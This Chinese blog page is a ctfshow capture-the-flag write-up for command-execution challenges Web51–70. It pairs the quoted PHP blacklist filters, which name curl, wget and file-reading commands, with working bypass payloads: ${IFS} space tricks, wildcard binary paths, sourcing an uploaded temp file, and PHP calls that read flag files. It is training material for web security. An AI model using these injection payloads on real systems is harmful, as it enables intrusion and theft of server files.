rce漏洞-ctfshow（50-70）
Web51
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
Nl，绕过tac，cat，绕过flag
Payload
?c=nl<fla''g.php||
?c=nl<fla\g.php||
Web52
用 ${IFS} 绕过空格
Payload：
url + ?c=nl${IFS}fla''g.php||
Web53
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}
用 ${IFS} 绕过空格
Payload：
url + ?c=nl${IFS}fla''g.php||
Web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
绕过|.*f.*l.*a.*g.*|
这里的/bin/是指bin目录下检索c??，不然在当前目录是没有这个命令的
Payload：
url + ?c=/bin/?at${IFS}f???.php
url + ?c=vi${IFS}f???.php
Web55
无字母rce
Payload1:
?c=/???/????64 ????.???
意思为：?c=/bin/base64 flag.php
Payload2:
url + ?c=/???/???/????2 ????.???
url + flag.php.bz2
利用 /usr/bin/ 下的 bzip2 命令，先将 flag.php 文件进行压缩，然后再将其下载。
bzip2 命令压缩后的文件以 “ .bz2 ” 为后缀
Web56
无数字字母rce
构造html
<!--构造一个post上传文件的数据包，这是个上传页面，选择文件上传-->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="https://cb0ce2f1-4e4d-4c4d-b03c-74849a97ac86.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名：</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
替换<form action="https://cb0ce2f1-4e4d-4c4d-b03c-74849a97ac86.challenge.ctf.show/" method="post" enctype="multipart/form-data">
的链接
payload：
?c=.%20/???/????????[@-[]
原理：
Linux 系统下 php 接收上传文件的 post 包，默认会将文件保存在临时文件夹 /tmp/，文件名 phpXXXXXX。
Linux 中 .（点）命令，或者叫 period，它的作用和 source 命令一样，就是用当前的 shell 执行一个文件中的命令。
ascii 码表中，大写字母位于 “ @ ” 与 “ [ ” 之间。
Web57
对 -37 再次取反即可得到 36。
根据 $((~ $(()) ))=-1，我们进行拼接，构造出 -37
Payload：
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
Web58
Paylaod：
c=show_source('flag.php');
c=highlight_file("flag.php");
c=file_get_contents('flag.php');
filter协议：
c=include "php://filter/read=convert.base64-encode/resource=flag.php";
Web59-65
同58的做题一样
Paylaod：
c=show_source('flag.php');
c=highlight_file("flag.php");
c=file_get_contents('flag.php');
filter协议：
c=include "php://filter/read=convert.base64-encode/resource=flag.php";
web66
扫描目录
c=print_r(scandir('/'));
Paylaod：
c=show_source('/flag.txt');
c=highlight_file("/flag.txt");
c=file_get_contents('/flag.txt');
Web67-70
扫描目录
c=var_dump(scandir('/'));
c=var_export(scandir("/"));
Payload
c=include("/flag.txt");
相关文章：
rce漏洞-ctfshow（50-70）
Web51 if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } Nl，绕过tac，cat，绕…...
vulntarget-a靶机-复现报告
靶机复现过程 测试标题 测试过程 测试外网ip 192.168.2.84 测试详情 第一步，我们先对其这个外网ip进行扫描，结果如下 结果我们发现这个ip开启了80和445端口，同时我们还可以看到这里是win7系统，我们先看看web页面是怎样的 结…...
为什么 FPGA 的效率低于 ASIC？
FPGA是“可重构逻辑”器件。先制造的芯片，再次设计时“重新配置”。 ASIC 不需要“重新配置”。你先设计，把它交给代工厂，然后制造芯片。 现在让我们看看这些芯片的结构是什么样的，以及它们的不同之处。 ● 逻辑单元：F…...
使用水星Mecury人形机器人搭建VR遥操作控制平台！
VR遥操作机械臂是一种将虚拟现实技术与机械臂控制相结合的系统，使用户可以通过虚拟现实设备操控和交互实际的机械臂。这种技术可以应用于多个领域，包括远程操作、培训、危险环境中的工作等。 双臂人形机器人是一种模拟人体上半身结构，包括头部…...
【学习笔记】无人机系统（UAS）的连接、识别和跟踪（三）-架构模型和概念
引言 3GPP TS 23.256 技术规范，主要定义了3GPP系统对无人机（UAV）的连接性、身份识别、跟踪及A2X（Aircraft-to-Everything）服务的支持。 3GPP TS 23.256 技术规范： 【免费】3GPPTS23.256技术报告-无人机系…...
uniapp bug解决：uniapp文件查找失败:‘uview-ui‘ at main.js:14
文章目录 报错内容解决方法main.js 文件中 uView 主 JS 库引入 uView 的全局 SCSS 主题文件内容修改引入 uView 基础样式内容修改配置 easycom 内容修改 报错内容 10:50:51.795 文件查找失败：uview-ui at main.js:14 10:59:39.570 正在差量编译... 10:59:43.213 文…...
Python 爬虫（爬取百度翻译的数据）
前言 要保证爬虫的合法性，可以从以下几个方面着手： 遵守网站的使用条款和服务协议：在爬取数据之前，仔细阅读目标网站的相关规定。许多网站会在其 robots.txt 文件中明确说明哪些部分可以爬取，哪些不可以。 例如&…...
【LeetCode:2766. 重新放置石块 + 哈希表】
🚀 算法题 🚀 🌲 算法刷题专栏 | 面试必备算法 | 面试高频算法 🍀 🌲 越难的东西,越要努力坚持，因为它具有很高的价值，算法就是这样✨ 🌲 作者简介：硕风和炜，…...
[C++]类的自动转换和强制类型转换
在C中，类的自动转换（也称为隐式转换）和强制类型转换（显式转换）是面向对象编程中处理类型之间转换的两种重要机制。这些转换允许程序员定义如何在不同类型（特别是自定义类型）之间安全地交换数据。…...
根据鼠标所在位置获取组件拿到 “qt_scrollarea_viewport” 组件的问题
问题起因： 有时候需要鼠标实时所在位置的组件，可以通过如下方法实时获取: QWidget *current_widget QApplication::widgetAt(QCursor().pos()); qDebug() << __FUNCTION__ << current_widget;// 如果是按钮，直接进行转换 QPus…...
深入浅出WebRTC—LossBasedBweV2
WebRTC 同时使用基于丢包的带宽估计算法和基于延迟的带宽估计算法那，能够实现更加全面和准确的带宽评估和控制。基于丢包的带宽估计算法主要依据网络中的丢包情况来动态调整带宽估计，以适应网络状况的变化。本文主要讲解最新 LossBasedBweV2 的实现。 1…...
就业难？誉天Linux云计算架构师涨薪班，不涨薪退学费
2024年，我国高校毕业生人数约为1179 万人，再创历史新高。根据智联招聘今年发布的《大学生就业力调研报告》，可以看到：应届生慢就业、自由职业的比重分别从去年的18.9%、13.2%增长到今年的19.1%、13.7%。 这里我们可以看出…...
从零开始！Jupyter Notebook的安装教程
目录 一、准备工作二、安装Jupyter Notebook方法一：使用pip安装方法二：使用Anaconda安装 三、配置和使用四、常见问题及解决办法如何解决Jupyter Notebook安装过程中遇到的依赖项无法同步的问题？Jupyter Notebook的配置文件在哪里，…...
FastAPI（七十）实战开发《在线课程学习系统》接口开发--留言功能开发
源码见："fastapi_study_road-learning_system_online_courses: fastapi框架实战之--在线课程学习系统" 在之前的文章：FastAPI（六十九)实战开发《在线课程学习系统》接口开发--修改密码，这次分享留言功能开发 我们梳理…...
04-数据库MySQL
一、项目要求 二、项目过程介绍 1、新建数据库 2、新建表 3、处理表 1.修改student 表中年龄(sage)字段属性，数据类型由int 改变为smallint 2.为Course表中Cno 课程号字段设置索引,并查看索引 3.为SC表建立按学号(sno)和课程号(cno)组合的升序的主键索引…...
神经网络理论(机器学习)
motivation 如果逻辑回归的特征有很多，会造出现一些列问题，比如： 线性假设的限制： 逻辑回归是基于线性假设的分类模型，即认为特征与输出之间的关系是线性的。如果特征非常多或者特征与输出之间的关系是非线性的&#…...
JNI回调用中不同线程的env无法找到正确的kotlin的class
不同线程都需要通过 JavaVM 获取到的 JNIEnv 指针， 如果有两个线程有两个 env。 其中一个是jni接口自己传过来的，可以正常使用，正常获取kotlin中的class。但是通过 JavaVM 新获取的env 无法找到kotlin的class 1. 确保线程已附加到 JVM 确保…...
免费HTML模板网站汇总
PS：基本上都是可以免费下载使用的，而且有一些是说明了可以用于商用和个人的。部分网站可能需要科学上网才能访问，如无法访问可留言或私信。 1、https://www.tooplate.com/free-templates 2、https://htmlrev.com/ 3、https://html5up.net/ 4、…...
大屏数据看板一般是用什么技术实现的？
我们看到过很多企业都会使用数据看板，那么大屏看板的真正意义是什么呢？难道只是为了好看？答案当然不仅仅是。 大屏看板不仅可以提升公司形象，还可以提升企业的管理层次。对于客户，体现公司实力和品牌形象，…...
在 Kubernetes 中设置 Pod 优先级及其调度策略详解
个人名片 🎓作者简介：java领域优质创作者 🌐个人主页：码农阿豪 📞工作室：新空间代码工作室（提供各种软件服务） 💌个人邮箱：[2435024119qq.com] 📱…...
OpenAI推安全漏洞赏金计划，应对AI潜在风险
OpenAI启动公共安全漏洞赏金计划，剑指AI潜在风险品玩3月26日消息，OpenAI正式推出公共安全漏洞赏金计划，此计划意在识别并修复其产品中潜在的AI滥用与安全风险。该计划是对现有安全漏洞赏金项目的补充，专门接纳那些虽不构成传统技术…...
智能部署copaw：借助快马ai生成能理解自然语言的下载助手
最近在折腾一个叫copaw的工具时，发现手动下载部署特别麻烦，尤其是遇到网络波动和依赖冲突的时候。于是尝试用AI辅助开发的方式，通过自然语言描述需求，让InsCode(快马)平台的AI模型帮我生成一个智能化的下载部署助手。整个过程意外…...
PMOD接口概述
简介 PMOD接口外设模块特点：低频，少量IO引脚。 两种物理规格：6针接口（4IO, 1VCC, 1GND）、12针接口（8IO, 2VCC, 2GND）。 支持的接口协议：SPI、I2C、UART、I2C、H桥、GPIO。 外设模块与主机连接方式：模块直连主机、通过6Pin或12Pin线缆或者12Pin转双6Pin分叉线缆。 外设…...
麒麟V10系统下国产海量数据库安装全攻略（含内核参数优化与避坑指南）
麒麟V10系统下国产海量数据库安装全攻略（含内核参数优化与避坑指南） 在国产化技术快速发展的今天，越来越多的企业和机构开始采用国产操作系统和数据库产品。麒麟V10作为国产操作系统的代表之一，其稳定性和安全性得到了广泛认可。而…...
省流量秘籍：ESP32+LittleFS构建超轻量级物联网WEB界面（附低功耗配置）
ESP32物联网低功耗WEB界面开发实战：从LittleFS优化到移动端适配 在野外环境或移动场景中部署物联网设备时，每毫安的电流消耗和每KB的流量都值得精打细算。ESP32作为一款高性价比的Wi-Fi/蓝牙双模芯片，其灵活的网络配置和丰富的外设接口使其成…...
Redis 的核心机制
Redis 作为高性能内存数据库，在现代架构中早已超越了单纯的“缓存”角色，成为了支撑高并发、分布式系统的基石。深入理解其核心场景、持久化机制、内存管理及集群原理，是构建稳定、高效系统的关键。 以下结合具体业务场景，深度解析…...
如何高效使用抖音批量下载工具：3个技巧让视频收集效率提升90%
如何高效使用抖音批量下载工具：3个技巧让视频收集效率提升90% 【免费下载链接】douyin-downloader 项目地址: https://gitcode.com/GitHub_Trending/do/douyin-downloader 在短视频内容爆炸的时代，抖音作为国内领先的内容平台，每天产…...
OpenClaw备份方案：GLM-4.7-Flash自动化任务容灾保护
OpenClaw备份方案：GLM-4.7-Flash自动化任务容灾保护 1. 为什么需要备份OpenClaw自动化任务 去年冬天，我的硬盘突然崩溃，导致辛苦配置的OpenClaw自动化任务全部丢失。那一刻我才意识到，当AI助手成为日常工作的"数字员工&quo…...
Mojo 1.2正式版发布后，Python互操作API发生3处破坏性变更——紧急迁移指南与向下兼容降级方案（含自动转换脚本）
第一章：Mojo 1.2互操作API破坏性变更全景概览Mojo 1.2 版本对与 Python、C/C 及系统原生库的互操作接口进行了深度重构，核心目标是提升类型安全性和运行时性能，但由此引入了多项不兼容的破坏性变更。开发者在升级至 1.2 时必须审慎评估现有绑…...
服务器 网络科技运行
服务器是网络科技运行的核心支撑，承担着数据存储、处理、应用部署及资源调度等关键职能，在网络科技领域，服务器的稳定运行直接关系到整个业务系统的顺畅与否，无论是企业内部的办公系统、数据管理平台，还是面向公众的互…...